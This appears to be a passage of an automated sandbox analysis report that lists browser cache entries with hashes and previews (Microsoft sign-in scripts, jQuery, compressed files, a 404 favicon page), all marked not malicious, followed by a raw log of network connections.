SHA-512:	A870E514B325D6FDC4D154438A8DD333C7AB46E545C1B27AC4869D9F1D8594CA1CDC530F5E96C835220DDAD4E1CEF841673696978031B5237E783972AEE701D1
Malicious:	false
Reputation:	low
Preview:	...........k[.H.(.}..[..-..c.0DFxHBz.I......O.a...#yt......k...J..&...........^.~...._..j...W;.8<.....]....m...~.}<.8~s.~=.(....qm.Oy.~....jaP......h.F^......\|oZ.G.M-...,...a..~..GW\|...L....N.(y...Z-..Cm......p.......?.5/.QmS..b^K...jw..8.}..Q.....!.o..8...&X.x-.Im.F.D..U;.....-.T.:...1........8Ka..M.L.ZZ'....>........x....v.S;.<...0J.I.0.G.....B.F..c.k.~....C.:...r..,.w.q~....q......#42V.q..f\|.kK...1o.mP.}.......N..n.w6.%^M.d.;...~2I.Z..fs...S/......F..=?...5....s..N.+.A.mx...j.T......?..W._p6.\|.}\|.{O.....2..`..._......g....j..xb^^...a.y.....s......4....q.Y..^T....X,.....m..~v,.....WP.U...:O".YoRX...7..S...zI.v.......mq.....E.,z.%....L\|.>.M.'i..ki3.u+.~...x.=...?6.%?.[.G.`Z=.$.w..4.."...R.1.k.\|..N.`......3...7.].'.E..).az......<a....4q..6.(..=~..........frk..?M#^Q.z..A..M.f.......S....s..d.e91._,zO.[X.......4.G..!.9Vg.......j.-?~.z.w..f.M............,...Z....w5..#.^..M.P.'.X.n/..mW.\|......0...w../...>\...l.......h...q>.w...FC[....7.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	downloaded
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 119648
Category:	dropped
Size (bytes):	40454
Entropy (8bit):	7.992737010031678
Encrypted:	true
SSDEEP:	768:zJUZY53jznALsvTo+bJoiJRHaLurK8F2v7/t06IRN6m5n18UWUnf+:9c4XAoLo+bJvzq8F2v7F0zRN629nW
MD5:	1D65BDDAE4EAEEFC77CB9CFECC565B5D
SHA1:	A7D87150DA1DF6AE6DB87D98760DB7D753DBF6B9
SHA-256:	B98D5BA052230DB0ABC1B0E7B09D814114F6B7C316836BEB88E7B49057DAFEC0
SHA-512:	F2CF9D120D7E18AE3FD77CD85176401A3EB7DB4AF10E16D58C21D86F738FC74525A21E3A319197435E43E50E61DFA8CB2F7207962105360E7BE5652A28165944
Malicious:	false
Reputation:	low
Preview:	............{{..7..y...D4e.sH.v.w......m.r.....&..b.`.P."r...~k..\(...=n#.2..5.N..N~.v'....g..G......N.~q.i.KWq.d.I..N..Z.'.,-........>.e...&Y..'ON......K\|.KQ.........^..WI.QT.oe.>..V........w.,/.Y.6..U.......Lo..U..C..{U......T....,.==.\..KrY..'wI..2wIyMw.K/.........B..{45r..r..Lw..3....I!l..lL.m....\|!..k...J...Y.......Q.I.Wt...........-....Y..mI...vs.S.TP.....]P..;j3..."..Q.]P?.+qK7.q..]J}....qt[..D.j\."....&j..3.......72.fQ..l%_..A...$.m6..>.QD@... ^F.v..2z@uao,.\|....@../....05.....4x...".I..(.._..e..R..HT.{.2O.....lT.we. _.P.'Iz..\|..y...yM..j.P...~...~6j.D.Li.e..z.tu~.lV~...qN...fg...V.7.;...<..........}...yf...`>.....g.y.<q..7.i....h..\%%.q.z.>.......^...M..u.n..1...z7t.......y..S..Bc.).....X.~.\|F.....B0..E....d.B_.Z.....[.Z./..B8.e..-U....P..]N....k.%p...l<..\......A`W^...m.J5c...._I.j.t.......Q...1..B...>^...+d.p.o.bi.D..O...~... @..m*.4.z..uLd..Bc).:.x?..`..Ey....?.2...".....2}.?.FW.\|d.~9...~.C.V..y.'..M..........`...E.77>..~?=+gs..t

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116365
Entropy (8bit):	7.997737813291819
Encrypted:	true
SSDEEP:	1536:9IyZY3F6VvgB9lnrhw1h+WbhcNtrpUzwXkqGeKTgcao2AYvXMpclkcKAXWG8NYh:9BZ5hu91Nwz+trpGmkReMgcaQYXlkcjR
MD5:	2D3FBED6DDD719FCC1BFB500B612FCEC
SHA1:	CD91B795DDE806AC8A38E51CCB6E8BAD8E57DA1B
SHA-256:	B2566B646F02DF4CE30B05D8223B78130A719D4EC9E4794A0106C371ADE33CC7
SHA-512:	A870E514B325D6FDC4D154438A8DD333C7AB46E545C1B27AC4869D9F1D8594CA1CDC530F5E96C835220DDAD4E1CEF841673696978031B5237E783972AEE701D1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js
Preview:	...........k[.H.(.}..[..-..c.0DFxHBz.I......O.a...#yt......k...J..&...........^.~...._..j...W;.8<.....]....m...~.}<.8~s.~=.(....qm.Oy.~....jaP......h.F^......\|oZ.G.M-...,...a..~..GW\|...L....N.(y...Z-..Cm......p.......?.5/.QmS..b^K...jw..8.}..Q.....!.o..8...&X.x-.Im.F.D..U;.....-.T.:...1........8Ka..M.L.ZZ'....>........x....v.S;.<...0J.I.0.G.....B.F..c.k.~....C.:...r..,.w.q~....q......#42V.q..f\|.kK...1o.mP.}.......N..n.w6.%^M.d.;...~2I.Z..fs...S/......F..=?...5....s..N.+.A.mx...j.T......?..W._p6.\|.}\|.{O.....2..`..._......g....j..xb^^...a.y.....s......4....q.Y..^T....X,.....m..~v,.....WP.U...:O".YoRX...7..S...zI.v.......mq.....E.,z.%....L\|.>.M.'i..ki3.u+.~...x.=...?6.%?.[.G.`Z=.$.w..4.."...R.1.k.\|..N.`......3...7.].'.E..).az......<a....4q..6.(..=~..........frk..?M#^Q.z..A..M.f.......S....s..d.e91._,zO.[X.......4.G..!.9Vg.......j.-?~.z.w..f.M............,...Z....w5..#.^..M.P.'.X.n/..mW.\|......0...w../...>\...l.......h...q>.w...FC[....7.

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	low
URL:	http://jvsimmigration.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 00:06:09.775814056 CET	49675	443	192.168.2.5	23.1.237.91
Dec 10, 2024 00:06:09.775902987 CET	49674	443	192.168.2.5	23.1.237.91
Dec 10, 2024 00:06:09.854018927 CET	49673	443	192.168.2.5	23.1.237.91
Dec 10, 2024 00:06:19.380835056 CET	49674	443	192.168.2.5	23.1.237.91
Dec 10, 2024 00:06:19.380841970 CET	49675	443	192.168.2.5	23.1.237.91
Dec 10, 2024 00:06:19.458972931 CET	49673	443	192.168.2.5	23.1.237.91
Dec 10, 2024 00:06:20.817372084 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:20.817419052 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:20.817490101 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:20.817789078 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:20.817802906 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:21.885910034 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:21.885958910 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:21.886014938 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:21.886490107 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:21.886540890 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:21.886595964 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:21.887141943 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:21.887161970 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:21.887326956 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:21.887342930 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:21.898601055 CET	443	49703	23.1.237.91	192.168.2.5
Dec 10, 2024 00:06:21.898674011 CET	49703	443	192.168.2.5	23.1.237.91
Dec 10, 2024 00:06:22.601198912 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:22.601594925 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:22.601609945 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:22.602511883 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:22.602572918 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:22.606627941 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:22.606677055 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:22.649694920 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:22.649703026 CET	443	49712	142.250.181.68	192.168.2.5
Dec 10, 2024 00:06:22.693433046 CET	49712	443	192.168.2.5	142.250.181.68
Dec 10, 2024 00:06:23.628909111 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.630314112 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.672657967 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.672661066 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.706113100 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.706144094 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.706248045 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.706271887 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.707387924 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.707400084 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.707454920 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.707525969 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.758023977 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.758198023 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.771157980 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.771178007 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.771445036 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.771631002 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.824446917 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.824469090 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:23.824477911 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:23.871053934 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:24.706257105 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:24.706346035 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:24.706449032 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:24.706962109 CET	49714	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:24.706976891 CET	443	49714	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:24.709417105 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:24.751338005 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:25.616162062 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:25.616259098 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:25.616456985 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:25.617139101 CET	49715	443	192.168.2.5	142.250.181.99
Dec 10, 2024 00:06:25.617161989 CET	443	49715	142.250.181.99	192.168.2.5
Dec 10, 2024 00:06:26.032150984 CET	49717	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:26.137578964 CET	49718	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:26.151849031 CET	80	49717	184.168.110.22	192.168.2.5
Dec 10, 2024 00:06:26.156510115 CET	49717	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:26.159447908 CET	49717	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:26.257040977 CET	80	49718	184.168.110.22	192.168.2.5
Dec 10, 2024 00:06:26.257145882 CET	49718	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:26.278744936 CET	80	49717	184.168.110.22	192.168.2.5
Dec 10, 2024 00:06:27.696614027 CET	80	49717	184.168.110.22	192.168.2.5
Dec 10, 2024 00:06:27.738298893 CET	49717	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:27.753232956 CET	49717	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:27.872447968 CET	80	49717	184.168.110.22	192.168.2.5
Dec 10, 2024 00:06:28.218661070 CET	49719	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:28.218713045 CET	443	49719	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:28.218781948 CET	49719	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:28.219139099 CET	49720	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:28.219191074 CET	443	49720	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:28.219248056 CET	49720	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:28.219480991 CET	49719	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:28.219499111 CET	443	49719	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:28.219679117 CET	49720	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:28.219691992 CET	443	49720	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:28.313468933 CET	80	49717	184.168.110.22	192.168.2.5
Dec 10, 2024 00:06:28.365005016 CET	49717	80	192.168.2.5	184.168.110.22
Dec 10, 2024 00:06:29.446026087 CET	443	49720	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.446418047 CET	49720	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.446451902 CET	443	49720	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.447551966 CET	443	49720	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.448899984 CET	443	49719	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.448951960 CET	49720	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.448951960 CET	49720	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.448951960 CET	49720	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.448951960 CET	49720	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.449023962 CET	443	49720	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.449074984 CET	49720	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.449157000 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.449199915 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.449263096 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.449311972 CET	49719	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.449335098 CET	443	49719	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.449480057 CET	49721	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.449491978 CET	443	49721	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.450891018 CET	443	49719	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.450953960 CET	49719	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.451744080 CET	49719	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.451766014 CET	49719	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.451803923 CET	49719	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.451827049 CET	443	49719	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.451883078 CET	49719	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.452023983 CET	49722	443	192.168.2.5	172.67.214.152
Dec 10, 2024 00:06:29.452054977 CET	443	49722	172.67.214.152	192.168.2.5
Dec 10, 2024 00:06:29.452097893 CET	49722	443	192.168.2.5	172.67.214.152
